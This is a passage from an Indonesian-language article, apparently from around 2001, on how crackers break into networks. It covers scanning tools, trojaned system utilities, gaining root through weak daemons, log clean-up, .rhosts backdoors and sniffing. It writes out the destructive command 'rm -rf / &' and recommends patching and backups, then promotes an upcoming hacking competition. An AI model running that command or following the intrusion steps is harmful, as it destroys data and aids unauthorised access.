Selanjutnya cracker harus mengidentifikasi komponen jaringan yang lemah dan bisa di taklukan. Cracker bisa mengunakan program di Linux seperti ADMhack, mscan, nmap dan banyak scanner kecil lainnya. Program seperti ‘ps’ & ‘netstat’ di buat trojan (ingat cerita kuda troya? dalam cerita klasik yunani kuno) untuk menyembunyikan proses scanning. Bagi cracker yang cukup advanced dapat mengunakan aggressive-SNMP scanning untuk men-scan peralatan dengan SNMP.

Setelah cracker berhasil mengidentifikasi komponen jaringan yang lemah dan bisa di taklukan, maka cracker akan menjalan program untuk menaklukan program daemon yang lemah di server. Program daemon adalah program di server yang biasanya berjalan di belakang layar (sebagai daemon / setan). Keberhasilan menaklukan program daemon ini akan memungkinkan seorang Cracker untuk memperoleh akses sebagai ‘root’ (administrator tertinggi di server).

Untuk menghilangkan jejak, seorang cracker biasanya melakukan operasi pembersihan ‘clean-up’ operation dengan cara membersihkan berbagai log file. Dan menambahkan program untuk masuk dari pintu belakang ‘backdooring’. Mengganti file .rhosts di /usr/bin untuk memudahkan akses ke mesin yang di taklukan melalui rsh & csh.

Selanjutnya seorang cracker dapat menggunakan mesin yang sudah ditaklukan untuk kepentingannya sendiri, misalnya mengambil informasi sensitif yang seharusnya tidak dibacanya; mengcracking mesin lain dengan melompat dari mesin yang di taklukan; memasang sniffer untuk melihat / mencatat berbagai trafik / komunikasi yang lewat; bahkan bisa mematikan sistem / jaringan dengan cara menjalankan perintah ‘rm -rf / &’. Yang terakhir akan sangat fatal akibatnya karena sistem akan hancur sama sekali, terutama jika semua software di letakan di harddisk. Proses re-install seluruh sistem harus di lakukan, akan memusingkan jika hal ini dilakukan di mesin-mesin yang menjalankan misi kritis.

Oleh karena itu semua mesin & router yang menjalankan misi kritis sebaiknya selalu di periksa keamanannya & di patch oleh software yang lebih baru. Backup menjadi penting sekali terutama pada mesin-mesin yang menjalankan misi kritis supaya terselamatkan dari ulah cracker yang men-disable sistem dengan ‘rm -rf / &’.

Bagi kita yang sehari-hari bergelut di Internet biasanya justru akan sangat menghargai keberadaan para hacker (bukan Cracker). Karena berkat para hacker-lah Internet ada dan dapat kita nikmati seperti sekarang ini, bahkan terus di perbaiki untuk menjadi sistem yang lebih baik lagi. Berbagai kelemahan sistem di perbaiki karena kepandaian rekan-rekan hacker yang sering kali mengerjakan perbaikan tsb. secara sukarela karena hobby-nya. Apalagi seringkali hasil hacking-nya di sebarkan secara cuma-cuma di Internet untuk keperluan masyarakat Internet. Sebuah nilai & budaya gotong royong yang mulia justru tumbuh di dunia maya Internet yang biasanya terkesan futuristik dan jauh dari rasa sosial.

Pengembangan para hobbiest hacker ini menjadi penting sekali untuk keberlangsungan / survival dotcommers di wahana Internet Indonesia. Sebagai salah satu bentuk nyatanya, dalam waktu dekat Insya Allah sekitar pertengahan April 2001 akan di adakan hacking competition di Internet untuk membobol sebuah server yang telah di tentukan terlebih dahulu. Hacking competition tersebut di motori oleh anak-anak muda di Kelompok Pengguna Linux Indonesia (KPLI) Semarang yang digerakan oleh anak muda seperti Kresno Aji (masaji@telkom.net), Agus Hartanto (hartx@writeme.com) & Lekso Budi Handoko (handoko@riset.dinus.ac.id). Seperti umumnya anak-anak muda lainnya, mereka umumnya bermodal cekak – bantuan & sponsor tentunya akan sangat bermanfaat dan dinantikan oleh rekan-rekan muda ini.

Mudah-mudahan semua ini akan menambah semangat pembaca, khususnya pembaca muda, untuk bergerak di dunia hacker yang mengasyikan dan menantang. Kalau kata Captain Jean Luc Picard di Film Startrek Next Generation, “To boldly go where no one has gone before”.